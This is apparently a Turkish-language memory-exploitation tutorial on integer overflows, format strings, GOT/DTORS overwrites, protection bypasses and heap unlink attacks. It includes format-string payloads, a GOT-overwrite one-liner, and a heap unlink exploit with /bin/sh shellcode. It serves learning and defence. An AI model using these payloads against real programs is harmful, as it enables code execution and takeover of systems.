ROPgadget.py, ikili dosyalarda değerleri bulmamıza yardımcı olur.

Bu program ayrıca payload oluşturmak için de kullanılabilir. ROP'ları çıkarmanız gereken kütüphaneyi verirseniz, size kullanılmaya hazır bir Python payloadu oluşturur. Ayrıca, sistem çağrıları kullandığı için gerçekte yığında bir şey çalıştırmaz, sadece ret komutuyla çalıştırılacak ROP adreslerini kaydeder. Bu payload'u kullanmak için payloadu bir ret talimatıyla çağırmak gerekir.

Tamsayı Taşmaları

Bu tür taşmalar, bir değişkenin verilen sayı kadar büyük bir sayıyı desteklemeye hazır olmadığı durumlarda meydana gelir, muhtemelen işaretli ve işaretsiz değişkenler arasındaki bir karışıklık nedeniyle, örneğin:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

Önceki örnekte, programın 2 parametre beklediğini görüyoruz. İlk parametre, bir sonraki dizenin uzunluğu ve ikinci parametre dizedir.

Eğer ilk parametreyi negatif bir sayı olarak verirsek, len < 256 olacak ve bu filtreyi geçeceğiz. Ayrıca strlen(buffer) da l'den küçük olacak çünkü l unsigned int türünde ve çok büyük olacak.

Bu tür taşmalar, bir programın işlemine bir şeyler yazmayı hedeflemiyor, ancak başka güvenlik açıklarını sömürmek için kötü tasarlanmış filtreleri aşmayı amaçlıyor.

İlk değeri atanmamış değişkenler

İlk değeri atanmamış bir değişkenin alabileceği değer bilinmez ve bunu gözlemlemek ilginç olabilir. Önceki işlevin bir değişkeninin alabileceği değeri alabilir ve bu değişken saldırgan tarafından kontrol edilebilir.

Biçim Dizeleri

C'de printf işlevi bir dizeyi yazdırmak için kullanılabilen bir işlevdir. Bu işlevin beklediği ilk parametre, biçimlendiricilerle birlikte ham metindir. Beklenen sonraki parametreler, ham metinden biçimlendiricileri değiştirmek için kullanılacak değerlerdir.

Bu güvenlik açığı, bir saldırgan metnin bu işlevin ilk argümanı olarak konulduğunda ortaya çıkar. Saldırgan, printf biçimlendirme yeteneklerini kötüye kullanarak herhangi bir veriyi herhangi bir adrese yazabilen özel bir giriş oluşturabilir. Bu şekilde keyfi kodu yürütebilir.

Biçimlendiriciler:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n belirtilen adrese yazılan bayt sayısını yazar. Yazmak istediğimiz veriyi yazabilmek için yazmamız gereken onaltılık sayı kadar bayt yazmak, herhangi bir veriyi yazmanın yoludur.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

Bu, program tarafından kullanılan harici fonksiyonların adresini içeren tablodur.

Bu tablonun adresini şu komutla alın: objdump -s -j .got ./exec

GEF ile yürütülebilir dosyanın yüklenmesinden sonra GOT içindeki fonksiyonları görebilirsiniz: gef➤ x/20x 0xDIR_GOT

GEF kullanarak hata ayıklama oturumu başlatabilir ve got tablosunu görmek için got komutunu çalıştırabilirsiniz:

Bir ikili dosyada GOT, fonksiyonların adreslerini veya fonksiyon adresini yükleyecek olan PLT bölümünün adreslerini içerir. Bu saldırının amacı, daha sonra system fonksiyonunun PLT adresiyle GOT girişini geçersiz kılmaktır. İdeal olarak, kendi kontrolünüzdeki parametreleri ile çağrılacak bir fonksiyonun GOT'unu geçersiz kılacaksınız (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).

Eğer system kullanılmıyorsa, sistem fonksiyonunun GOT'ta bir girişi olmayacaktır. Bu senaryoda, ilk olarak system fonksiyonunun adresini sızdırmanız gerekecektir.

Procedure Linkage Table, çözülmesi gereken tüm gerekli sembolleri depolayan ELF dosyasındaki salt okunur bir tablodur. Bu fonksiyonlardan biri çağrıldığında, GOT akışı PLT'ye yönlendirir ve fonksiyonun adresini çözer ve GOT üzerine yazar.
Sonra, o adrese yapılan bir sonraki çağrıda fonksiyon doğrudan çağrılır ve çözülmesi gerekmez.

PLT adreslerini objdump -j .plt -d ./vuln_binary komutuyla görebilirsiniz.

Saldırı Akışı

Daha önce açıklandığı gibi, hedef, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun adresini geçersiz kırmak olacaktır. İdeal olarak, bir yürütülebilir bölümde bulunan bir kabuk kodunun adresini ayarlayabilirdik, ancak büyük olasılıkla bir yürütülebilir bölümde bir kabuk kodu yazamayacaksınız.
Bu nedenle, kullanıcının argümanlarını alan bir fonksiyonu geçersiz kılacak şekilde bir fonksiyonu geçersiz kılmak farklı bir seçenektir.

Adresi yazmak için genellikle 2 adım yapılır: İlk olarak, adresin 2 baytını yazarsınız ve ardından diğer 2 baytı. Bunun için $hn kullanılır.

HOB, adresin 2 yüksek baytını çağırır
LOB, adresin 2 düşük baytını çağırır

Bu nedenle, format dizesinin nasıl çalıştığından dolayı, [HOB, LOB]'den ilk önce en küçüğü yazmanız ve ardından diğerini yazmanız gerekir.

Eğer HOB < LOB ise
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Eğer HOB > LOB ise
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Format String Saldırısı Şablonu

GOT'u format dizesi kullanarak sömürmek için bir şablon bulabilirsiniz:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Bu, programın sonlandıktan önce çağrılacak olan fonksiyonları içeren bir yapıdır. Bu, bir adrese atlayarak kabuk kodunuzu çağırabilirsiniz veya format dizesini ikinci kez sömürmek için tekrar ana programa dönmek gerektiği durumlarda ilginç olabilir.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Bu, bir sonsuz döngü oluşturmayacak çünkü ana fonksiyona geri döndüğünüzde canary bunu fark edecek, yığının sonu bozulmuş olabilir ve fonksiyon tekrar çağrılmayacak. Bu sayede, vuln'un 1 kez daha çalıştırılmasını sağlayabilirsiniz.

İçeriği Dökümlemek İçin Format Dizeleri

Bir format dizesi, programın belleğinden içeriği dökmek için de kullanılabilir.
Örneğin, aşağıdaki durumda, bir bayrağa işaret eden yığında bir yerel değişken bulunmaktadır. Bayrağın bellekte nerede olduğunu bulursanız, printf'in o adrese erişmesini ve bayrağı yazdırmasını sağlayabilirsiniz:

Yani, bayrak 0xffffcf4c adresinde bulunuyor.

Ve sızıntıdan, bayrağa işaret eden işaretçinin 8. parametrede olduğunu görebilirsiniz:

Bu nedenle, 8. parametreye erişerek bayrağı alabilirsiniz:

Önceki saldırıyı takip ederek ve içeriği sızdırabileceğinizi fark ederek, printf'e yürütülebilir dosyanın yüklendiği bölüme işaretçiler ayarlayabilir ve onu tamamen dökümleyebilirsiniz!

DTOR

{% hint style="danger" %} Günümüzde bir dtor bölümüne sahip bir ikili bulmak çok garip. {% endhint %}

Destructor, programın sonlandığından önce çalıştırılan fonksiyonlardır.
Eğer __DTOR_END__'de bir shellcode için bir adres yazmayı başarırsanız, bu program sona ermeden önce çalıştırılacaktır.
Bu bölümün adresini şu şekilde alın:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Genellikle DTOR bölümünü ffffffff ve 00000000 değerleri arasında bulacaksınız. Bu değerleri görüyorsanız, bu, hiçbir işlevin kaydedilmediği anlamına gelir. Bu nedenle, 00000000 değerini shellcode'ın adresiyle üzerine yazarak çalıştırabilirsiniz.

Format Strings to Buffer Overflows

sprintf, bir değişkene biçimlendirilmiş bir dizeyi taşır. Bu nedenle, bir dizenin biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı değişkende bir tampon taşmasına neden olabilirsiniz.
Örneğin, %.44xAAAA yükü, değişkene 44B+"AAAA" yazacak ve bu bir tampon taşmasına neden olabilir.

__atexit Yapıları

{% hint style="danger" %} Günümüzde bunu saldırmak çok garip. {% endhint %}

atexit(), diğer işlevlerin parametre olarak geçirildiği bir işlevdir. Bu işlevler, bir exit() veya main'in dönüşü gerçekleştiğinde çalıştırılacak.
Örneğin, bu işlevlerden herhangi birinin adresini bir shellcode'a yönlendirebilirseniz, sürecin kontrolünü ele geçirebilirsiniz, ancak bu şu anda daha karmaşık bir durumdur.
Şu anda çalıştırılacak işlevlerin adresleri, birkaç yapı tarafından gizlenir ve sonunda işaret ettiği adresler işlevlerin adresleri değildir, ancak XOR ile şifrelenir ve rastgele bir anahtarla kaydırılır. Bu nedenle, bu saldırı vektörü şu anda en azından x86 ve x64_86 üzerinde çok kullanışlı değildir.
Şifreleme işlevi, PTR_MANGLE'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi diğer mimariler, bu şifreleme işlevini uygulamaz çünkü girdi olarak aldığı gibi aynı değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırılabilir olur.

setjmp() & longjmp()

{% hint style="danger" %} Günümüzde bunu saldırmak çok garip. {% endhint %}

Setjmp(), bağlamı (kaydedilen kaydedici değerleri) kaydetmeyi sağlar.
longjmp(), bağlamı (kaydedilen kaydedici değerleri) geri yüklemeyi sağlar.
Kaydedilen kaydedici değerleri, EBX, ESI, EDI, ESP, EIP, EBP'dir.
Ancak EIP ve ESP, PTR_MANGLE işlevinden geçirilir, bu nedenle bu saldırıya karşı savunmasız olan mimariler yukarıda belirtilenlerle aynıdır.
Hata kurtarma veya kesmeler için kullanışlıdır.
Ancak, okuduklarıma göre, diğer kaydedici değerleri korunmaz, bu nedenle çağrılan işlevin içinde bir call ebx, call esi veya call edi varsa, kontrol ele geçirilebilir. Veya EBP değiştirilerek ESP değiştirilebilir.

C++'da VTable ve VPTR

Her sınıfın, yöntemlere işaret eden bir dizi olan bir Vtable'ı vardır.

Her bir sınıfın nesnesi, sınıfının dizisine işaret eden bir VPtr'ye sahiptir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle VPtr'nin üzerine yazma başarılı olursa, bir işlevi çalıştırmak için shellcode'a yönlendirilebilir.

Önleyici Önlemler ve Kaçışlar

ASLR pek rastgele değil

PaX, işlem adres alanını 3 gruba böler:

Başlatılan ve başlatılmayan kod ve veriler: .text, .data ve .bss —> delta_exec değişkeninde 16 bit entropi, bu değişken her işlemle rastgele olarak başlatılır ve başlangıç adreslerine eklenir

mmap() tarafından ayrılan bellek ve paylaşılan kütüphaneler —> 16 bit, delta_mmap

Yığın —> 24 bit, delta_stack —> Aslında 11 (10. bayttan 20. bayta kadar dahil) —> 16 bayt hizalanmış —> Yığının 524.288 gerçek adresi mümkün

Ortam değişkenleri ve argümanlar, yığında bir tamponun altında kayarlar.

Return-into-printf

Bu, bir tampon taşmasını bir format dizesi hatasına dönüştürmek için bir tekniktir. EIP'nin, işlevin printf'ine işaret etmesi için değiştirilmesi ve işlemin durumu hakkında değerler elde etmek için manipüle edilmiş bir format dizesinin argüman olarak geçirilmesiyle yapılır.

Kütüphanelere Saldırı

Kütüphaneler, 16 bit rastgelelikle bir konumda bulunur = 65636 olası adres. Savunmasız bir sunucu fork() çağırırsa, bellek adres alanı çocuk süreçte kopyalanır ve dokunulmaz kalır. Bu nedenle, libc'nin usleep() işlevine "16" argümanı geçirerek brute force saldırısı yapılabilir, böylece normalden daha uzun sürede yanıt verirse, bu işlev bulunmuş olur. Bu işlevin nerede olduğu bilindiğinde, delta_mmap elde edilebilir ve diğerleri hesaplanabilir.

ASLR'nin çalıştığından emin olmanın tek yolu 64 bit mimari kullanmaktır. Orada brute force saldırıları yoktur.

StackGuard ve StackShield

StackGuard, EIP'nin önüne yerleştirir —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() hala savunmasızdır ve EBP'yi korumaz

StackShield, StackGuard'dan daha karmaşıktır

Tüm dönüş EIP adreslerini bir tabloda (Global Return Stack) saklar, böylece tampon taşması hiçbir zarara neden olmaz. Ayrıca, her iki adres de karşılaştırılabilir, böylece bir taşma olup olmadığı kontrol edilebilir.

Dönüş adresi, bir sınıra karşı kontrol edilebilir, böylece EIP'nin veri alanı gibi normalden farklı bir yere gitmesi durumunda bilinir. Ancak bunu Ret-to-lib, ROP veya ret2ret ile atlatabilirsiniz.

StackShield'ın yerel değişkenleri korumadığı da görülebilir.

Stack Smash Protector (ProPolice) -fstack-protector

Canary, EBP'nin önüne yerleştirilir. Tamponların diğer değişkenleri üzerine yazılmaması için yerel değişkenler yeniden düzenlenir.

Ayrıca, yığının üzerinde (yerel değişkenlerin üzerinde) geçirilen argümanların güvenli bir kopyasını yapar ve bu kopyaları argüman olarak kullanır.

8 veya daha az öğeye sahip dizileri veya kullanıcı yapısının bir parçası olan tamponları koruyamaz.

Canary, "/dev/urandom" dosyasından alınan rastgele bir sayıdır veya 0xff0a0000'dir. TLS (Thread Local Storage) içinde depolanır. İş parçacıkları aynı bellek alanını paylaşır, TLS, her iş parçacığının küresel veya statik

Relro

Relro (Salt Okunur Yerleştirme), bellek izinlerini NX ile benzer şekilde etkiler. Fark, NX ile yığını yürütülebilir hale getirirken, RELRO belirli şeyleri salt okunur hale getirir, böylece onlara yazamayız. Bu engelin en yaygın şekilde karşılaşıldığı durum, daha sonra ele alınacak olan bir got tablosu üzerine yazma işlemini engellemesidir. got tablosu, libc işlevlerinin adreslerini tutar, böylece ikili dosya bu adresleri biliyor ve onları çağırabiliyor. Şimdi, relro ile ve relro olmadan bir ikili dosyanın got tablosu girişi için bellek izinlerinin nasıl göründüğüne bakalım.

Relro ile:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Relro olmadan:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Relro olmayan ikili için, fgets için got giriş adresinin 0x404018 olduğunu görebiliriz. Bellek eşlemelerine baktığımızda, bu adresin 0x404000 ve 0x405000 arasına düştüğünü görüyoruz ve bu alanın rw izinlerine sahip olduğunu, yani okuyup yazabileceğimizi gösterir. Relro olan ikili için, ikilinin çalıştığı got tablosu adresi (pie etkin olduğu için bu adres değişecektir) 0x555555557fd0 olarak görülüyor. Bu ikilinin bellek eşlemesinde, 0x0000555555557000 ve 0x0000555555558000 arasına düşer ve bu alanın bellek izinlerinin r olduğunu, yani sadece okuyabileceğimizi gösterir.

Peki geçiş nasıl sağlanır? Ben genellikle relro nedeniyle salt okunur hale getirilen bellek bölgelerine yazmamaya çalışırım ve kod yürütme için farklı bir yol bulurum.

Bunun gerçekleşebilmesi için ikilinin yürütülmeden önce işlevlerin adreslerini bilmesi gerekmektedir:

  • Tembel bağlama: Bir işlev çağrıldığında, işlevin adresi ilk kez aranır. Bu nedenle, GOT'un yürütme sırasında yazma izinlerine sahip olması gerekir.
  • Şimdi bağlama: İşlevlerin adresleri yürütmenin başında çözülür, ardından .got, .dtors, .ctors, .dynamic, .jcr gibi hassas bölümlere salt okunur izinler verilir. `**-z relro**y**-z now`**

Bir programın Şimdi bağlama kullanıp kullanmadığını kontrol etmek için şunu yapabilirsiniz:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Linux Exploit Temel ESP Sömürüsü

Bir ikili belleğe yüklendiğinde ve bir işlev ilk kez çağrıldığında, PLT'ye (Procedure Linkage Table) atlanır ve buradan GOT'a (Global Offset Table) bir atlayış (jmp) yapılır. GOT girişinin çözülmediği (PLT'nin bir sonraki adresini içeren) tespit edilir. Bu durumda, Runtime Linker veya rtfd çağrılır ve adresi çözerek GOT'ta saklar.

Bir işlev çağrıldığında, PLT çağrılır ve işlevin adresinin depolandığı GOT adresine yönlendirilir, böylece işlev çağrılır. Ancak, işlev ilk kez çağrılıyorsa, GOT'ta PLT'nin bir sonraki talimatı bulunur, bu nedenle akış PLT kodunu (rtfd) takip eder ve işlevin adresini bulur, GOT'ta saklar ve çağırır.

Bir ikili belleğe yüklendiğinde, derleyiciye program çalıştırıldığında yüklenmesi gereken verilerin hangi ofsette olması gerektiği söylenir.

Tembel bağlama (Lazy binding) -> İşlevin adresi, işlev ilk kez çağrıldığında aranır, bu nedenle GOT, arandığında oraya kaydedilmesi için yazma izinlerine sahiptir ve tekrar aranması gerekmez.

Şimdi bağlama (Bind now) -> İşlev adresleri program yüklenirken aranır ve .got, .dtors, .ctors, .dynamic, .jcr bölümlerinin izinleri yalnızca okunabilir olarak değiştirilir. -z relro ve -z now

Bununla birlikte, genellikle programlar bu seçeneklerle karmaşıklaştırılmamıştır, bu nedenle bu saldırılar hala mümkündür.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> BIND NOW kullanıp kullanmadığını öğrenmek için

Fortify Source -D_FORTIFY_SOURCE=1 or =2

Güvensiz bir şekilde bir yerden başka bir yere kopyalayan işlevleri tanımlamaya çalışır ve işlevi güvenli bir işlevle değiştirir.

Örneğin:
char buf[16];
strcpy(buf, source);

Bu, güvensiz olarak tanımlanır ve sonra strcpy() yerine __strcpy_chk() kullanılarak tamponun maksimum kopyalanacak boyutu olarak tamponun boyutu kullanılarak değiştirilir.

=1 veya =2 arasındaki fark şudur:

İkincisi, %n'nin yazma izinlerine sahip bir bölümden gelmesine izin vermez. Ayrıca, argümanlara doğrudan erişim parametresi yalnızca önceki parametreler kullanıldığında kullanılabilir, yani yalnızca %2$d ve %1$d kullanıldıysa %3$d kullanılabilir.

Hata mesajını göstermek için argv[0] kullanılır, bu nedenle başka bir yerin adresini (bir global değişken gibi) argv[0] içine koyarsanız, hata mesajı o değişkenin içeriğini gösterecektir. Sayfa 191

Libsafe'in Yerine Geçirilmesi

Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2
veya
“/lib/libsave.so.2” > /etc/ld.so.preload

Bazı güvensiz işlevlerin çağrıları, güvenli işlevlerle değiştirilir. Standartlaştırılmamıştır. (yalnızca x86 için, -fomit-frame-pointer ile derlenmiş olmayanlar, statik derlemeler için değil, tüm güvensiz işlevler güvenli hale getirilmez ve LD_PRELOAD suid ile çalışan ikililerde çalışmaz).

ASCII Armored Address Space

Paylaşılan kitaplıkların 0x00000000 ile 0x00ffffff arasında yüklenmesiyle her zaman bir 0x00 baytı olmasını sağlar. Bununla birlikte, bu neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian için geçerli değildir.

ret2plt

Bu, strcpy@plt işlevini (plt'den) çağırmak ve GOT girişine işaret etmek ve çağrılmak istenen işlevin (system()) ilk baytını kopyalamak için bir ROP gerçekleştirir. Ardından, GOT+1'e işaret ederek system() işlevinin ikinci baytını kopyalar... Sonunda, GOT'ta saklanan adresi (system()) çağırır.

Yanıltıcı EBP

EBP'yi argümanlara işaret etmek için kullanılan bir kayıt olarak kullanan işlevlerde, EIP'yi değiştirerek system() işlevine işaret etmek için EBP'nin de değiştirilmiş olması gerekir. EBP'nin, herhangi iki bayt ve ardından &"/bin/sh" adresine işaret eden bir bellek bölgesine işaret etmesi gerekir.

chroot() ile Kafesler

debootstrap -arch=i386 hardy /home/user -> Belirli bir alt dizin altında temel bir sistem yükler

Bir yönetici, bu kafeslerden birinden çıkmak için şunu yapabilir: mkdir foo; chroot foo; cd ..

Kod Enstrümantasyonu

Valgrind -> Hataları bulur
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Taşmaları: Temel Sömürüler

Ayrılan Parça

prev_size |
size | - Başlık
*mem | Veriler

Boş Parça

prev_size |
size |
*fd | İleri parça işaretçisi
*bk | Geri parça işaretçisi - Başlık
*mem | Veriler

Boş parçalar çift yönlü bir liste (bin) içinde bulunur ve ardışık boş parçalar olamaz (birleştirilirler).

"size" alanında şunları belirtmek için bitler bulunur: Önceki parça kullanımda mı, parça mmap() ile ayrıldı mı ve parçanın birincil arenaya ait olup olmadığı.

Bir parça serbest bırakıldığında, yanındaki parçalar boşsa, bunlar unlink() makrosuyla birleştirilir ve daha büyük yeni bir parça, uygun bin'e eklenmek üzere frontlink() tarafından alınır.

unlink(){
BK = P->bk; -> Yeni parçanın BK'si, önceden boş olanın BK'sidir
FD = P->fd; -> Yeni parçanın FD'si, önceden boş olanın FD'sidir
FD->bk = BK; -> Sonraki parçanın BK'si yeni parçaya işaret eder
BK->fd = FD; -> Önceki parçanın FD'si yeni parçaya işaret eder
}

Bu nedenle, P->bk'yi bir shellcode adresiyle ve P->fd'yi GOT veya DTORS'taki bir giriş adresiyle değiştirerek şunu başarabiliriz:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Ve böylece programdan çık shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Önemli olan, önceki parçanın serbest olduğunu gösteren bitin 1 olduğu

fake_size = pack("<I”, 0xfffffffc) #-4, 3. parçanın "size"ının 4 bayt geride olduğunu düşünmesi için (prev_size'ın olduğu yere bakar)

addr_sc = pack("<I", 0x0804a008 + 8) #Payload'da başta 8 bayt dolgu koyuyoruz

got_free = pack("<I", 0x08048300 - 12) #free() fonksiyonunun plt-12 adresi (free ikinci kez çağrıldığında shellcode'un çalıştırılacağı adresin üzerine yazılacak adres)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Payload'ın başında 8 bayt dolgu olduğu söylendiği gibi

payload += prev_size + fake_size + got_free + addr_sc #2. parça değiştiriliyor, got_free, addr_sc + 12 adresini kaydedeceğimiz yere işaret ediyor

os.system("./8.3.o " + payload)

unset() ters sırayla serbest bırakma (wargame)

3 ardışık parçayı kontrol ediyoruz ve sırasıyla serbest bırakılıyorlar.

Bu durumda:

c parçasına shellcode yerleştirilir

a parçasını, size alanının PREV_INUSE bitinin devre dışı bırakıldığı şekilde b'nin üzerine yazmak için kullanıyoruz, böylece a parçasının serbest olduğunu düşünüyor.

Ayrıca, b'nin başlık kısmına size değeri -4 olacak şekilde yazılır.

Sonuç olarak, program "a"nın bir binde serbest olduğunu düşünerek unlink() çağırır. Ancak, çünkü PREV_SIZE başlığı -4 olarak ayarlanır. "a" parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te başlayan bir parçayı unlink() yapacak, bu nedenle bk'da shellcode adresi ve fd'de "puts()" fonksiyonunun adresi-12 olacak şekilde payload'umuz oluşur.

Frontlink Tekniği

Bir şey serbest bırakıldığında ve yanındaki hiçbir parça serbest değilse, unlink() çağrılmaz, doğrudan frontlink() çağrılır.

Saldırılan malloc hiçbir zaman serbest bırakılmazsa yararlı bir zayıflıktır (free()).

Gereksinimler:

Veri girişi işleviyle taşma yapabilen bir tampon

Bu tampona bitişik bir tampon, serbest bırakılacak ve önceki tamponun fd alanı bu tamponun taşmasından dolayı değiştirilecek

512'den büyük ancak önceki tampona göre daha küçük bir boyuta sahip bir tampon serbest bırakılacak

  1. adımdan önce tanımlanan bir tampon, bu tamponun prev_size'ını üzerine yazmamızı sağlayacak şekilde

Bu şekilde, kontrolsüz olarak iki malloc'ı ve birini kontrol ederek üzerine yazabiliriz, böylece bir exploit yapabiliriz.

Double free() Zayıflığı

Aynı işaretçiyle iki kez free() çağrılırsa, aynı adrese işaret eden iki bin oluşur.

Birini tekrar kullanmak isterseniz sorunsuz bir şekilde atanır. Diğerini kullanmak isterseniz, aynı alan atanır, bu nedenle "fd" ve "bk" işaretçileri önceki rezervasyon tarafından yazılan verilerle yanıltılır.

After free()

Önceden serbest bırakılan bir işaretçi kontrolsüz bir şekilde yeniden kullanılır.

8 Heap Taşmaları: Gelişmiş Saldırılar

Unlink() ve FrontLink() teknikleri, unlink() işlevi değiştirildiğinde kaldırıldı.

The house of mind

Yalnızca bir free() çağrısı, keyfi kodun yürütülmesine neden olmak için yeterlidir. Bir önceki parçayı taşımak ve serbest bırakmak için taşan bir ikinci parçaya ihtiyaç vardır.

Bir free() çağrısı, public_fREe(mem) işlevini çağırır, bu işlev:

mstate ar_ptr;

